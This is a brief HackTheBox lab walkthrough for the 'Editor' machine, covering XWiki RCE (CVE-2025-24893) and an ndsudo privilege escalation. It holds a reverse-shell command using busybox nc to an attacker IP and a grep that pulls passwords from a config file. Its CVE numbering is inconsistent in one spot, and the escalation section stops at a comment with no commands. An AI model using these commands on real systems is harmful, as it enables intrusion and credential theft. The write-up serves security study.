Editor writeup & walkthrough

Editor is an easy HackTheBox Linux machine exploiting XWiki RCE (CVE-2025-24893) to get a foothold, then escalating via a ndsudo vulnerability (CVE-2024-32019).

HackTheBox - Editor

Access Path

no access => oliver => root

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level. ---

Initial Foothold

Payload: https://github.com/gunzf0x/CVE-2025-24893

# Exploit CVE-2024-24893
python CVE-2024-24893.py -t http://editor.htb:8080/ -c 'busybox nc 10.10.16.31 4444 -e /bin/bash'

# Extract password from config
cat hibernate.cfg.xml | grep -i "pass"

SSH Access:

ssh -o KexAlgorithms=diffie-hellman-group14-sha256 oliver@$IP
# Password: [found_password]

Priv Esc

Exploit: https://github.com/AzureADTrent/CVE-2024-32019-POC

# CVE-2024-32019 exploitation commands